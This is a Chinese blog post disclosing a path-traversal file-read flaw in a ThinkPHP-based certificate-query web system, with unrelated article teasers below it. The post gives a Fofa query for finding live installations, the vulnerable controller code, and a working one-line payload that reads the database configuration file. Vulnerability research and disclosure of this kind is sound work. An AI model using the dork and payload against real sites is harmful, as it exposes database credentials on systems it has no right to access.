首页 星云 工具 资源 星选 资讯 热门工具
:

PDF转图片 完全免费 小红书视频下载 无水印 抖音视频下载 无水印 数字星空

ThinkPHP超证书查询系统任意文件读取漏洞

漏洞推送
原创 数字星空 2024年07月29日 15:46

超证书在线查询系统,资质证书显示网站源码,证书查询自适应手机端,采用的是thinkphp开源内核,无版权可商用,非常不错的,可开发度很高,可以继续美化和开发。
Fofa语句: "/index/js/jquery.uls.data.js"
Fofa语句

超证书在线查询系统

超证书在线查询系统

漏洞分析
源码框架是fastadmin写的,在/application/index/controller/Ajax.php 中,传入参数后进入到了loadlang()函数,我们追踪一下:

/**
 * Ajax异步请求接口
 * @internal
 */
class Ajax extends Frontend
{

  protected $noNeedLogin = ['lang'];
  protected $noNeedRight = ['*'];
  protected $layout = '';

  /**
     * 加载语言包
     */
  public function lang()
{
    header('Content-Type: application/javascript');
    header("Cache-Control: public");
    header("Pragma: cache");

    $offset = 30 * 60 * 60 * 24; // 缓存一个月
    header("Expires: " . gmdate("D, d M Y H:i:s", time() + $offset) . " GMT");

    $controllername = input("controllername");
    $this->loadlang($controllername);
    //强制输出JSON Object
    $result = jsonp(Lang::get(), 200, [], ['json_encode_param' => JSON_FORCE_OBJECT | JSON_UNESCAPED_UNICODE]);
    return $result;
  }

进入到了 /common/controller/Api.php 的loadlang中,直接调用Load函数包含../lang/xxx.php 文件

/**
* 加载语言文件
* @param string $name
*/
protected function loadlang($name)
{
  $name =  Loader::parseName($name);
  Lang::load(APP_PATH . $this->request->module() . '/lang/' . $this->request->langset() . '/' . str_replace('.', '/', $name) . '.php');
}

所以我们只需要传入lang=../../application/database 即可跨目录读取数据库文件.
漏洞证明
Payload:
/index/ajax/lang?lang=../../application/database

超证书在线查询系统漏洞证明
ThinkPHP超证书查询系统源码下载地址:http://www.shuzixingkong.net/download/1316

From:https://mp.weixin.qq.com/s/0QGZpjCTHTZarXBjFgYvYw
本文地址: http://shuzixingkong.net/article/551
0评论
提交 加载更多评论
其他文章 FindBugs质量管理
1. FindBugs是什么 FindBugs 是一个静态分析工具,它检查类或者 JAR 文件,将字节码与一组缺陷模式进行对比以发现可能的问题。有了静态分析工具,就可以在不实际运行程序的情况对软件进行分析。 FindBugs就是对编译后的class进行扫描,以发现一些隐藏的bug。如果你拥
git篇-- Git在项目实操中常见的使用命令--02
Git是现代软件开发中不可或缺的版本控制工具。它能帮助开发者跟踪项目的所有变更,并与团队成员高效协作。本文将介绍一些在项目实操中常见的Git命令,帮助你更好地管理代码。 1. 初始化和配置 初始化仓库 在一个新的项目目录中,初始化Git仓库: git init 配置用户信息 在提交代码之前,需要配置
搭建自动化 Web 页面性能检测系统 —— 部署篇
我们是袋鼠云数栈 UED 团队,致力于打造优秀的一站式数据中台产品。我们始终保持工匠精神,探索前端道路,为社区积累并传播经验价值。 本文作者:琉易 liuxianyu.cn 这一篇是系列文章: 搭建自动化 Web 页面性能检测系统 —— 设计篇 搭建自动化 Web 页面性能检测系统 —— 实现篇 作
搭建自动化 Web 页面性能检测系统 —— 部署篇 搭建自动化 Web 页面性能检测系统 —— 部署篇 搭建自动化 Web 页面性能检测系统 —— 部署篇
我们的前端开发逆天了!1 小时搞定了新网站,还跟我说 “不要钱”
大家好,我是程序员鱼皮。前段时间我们上线了一个新软件 剪切助手 ,并且针对该项目做了一个官网: 很多同学表示官网很好看,还好奇是怎么做的,其实这个网站的背后还有个有趣的小故事。。。 鱼皮:我们要做个官网,能下载应用就行,一周时间怎么样? 我们的前端开发 - 多喝热水同学:一周?太小瞧我了吧,1 小时
我们的前端开发逆天了!1 小时搞定了新网站,还跟我说 “不要钱” 我们的前端开发逆天了!1 小时搞定了新网站,还跟我说 “不要钱” 我们的前端开发逆天了!1 小时搞定了新网站,还跟我说 “不要钱”
(六)Redis 消息队列 List、Streams
Redis 适合做消息队列吗?有什么解决方案?首先要明白消息队列的消息存取需求和工作流程。 1、消息队列 我们一般把消息队列中发送消息的组件称为生产者,把接收消息的组件称为消费者,下图是一个通用的消息队列的架构模型: 消息队列在存取消息时,必须要满足三个需求,分别是消息保序、处理重复的消息和保证消息
(六)Redis 消息队列 List、Streams (六)Redis 消息队列 List、Streams (六)Redis 消息队列 List、Streams
sharding-jdbc 兼容 MybatisPlus的动态数据源
背景:之前的项目做读写分离的时候用的 MybatisPlus的动态数据做的,很多地方使用的@DS直接指定的读库或者写库实现的业务;随着表数据量越来越大,现在打算把比较大的表进行水平拆分,准备使用 ShardingJDBC实现,但是发现两者配合起来并不是那么顺利,网上大部分文章都是直接把整个Shard
sharding-jdbc 兼容 MybatisPlus的动态数据源 sharding-jdbc 兼容 MybatisPlus的动态数据源 sharding-jdbc 兼容 MybatisPlus的动态数据源
Segment-anything学习到微调系列3_SAM微调decoder
前言 本系列文章是博主在工作中使用SAM模型时的学习笔记,包含三部分: SAM初步理解,简单介绍模型框架,不涉及细节和代码 SAM细节理解,对各模块结合代码进一步分析 SAM微调实例,原始代码涉及隐私,此部分使用公开的VOC2007数据集,Point和Box作为提示进行mask decoder微调讲
Segment-anything学习到微调系列3_SAM微调decoder Segment-anything学习到微调系列3_SAM微调decoder Segment-anything学习到微调系列3_SAM微调decoder
自写Json转换工具
前面写了简单的API测试工具ApiTools,返回的json有时需要做很多转换,于是开发了这个工具。 功能包括 1、json字符串转为表格,可以直观的展示,也可以复制,并支持转换后的表格点击列头进行排序,比较方便地定位数据。 2、表格转为EXCEL,就是导出Excel文件,支持2003和2007格式
自写Json转换工具 自写Json转换工具 自写Json转换工具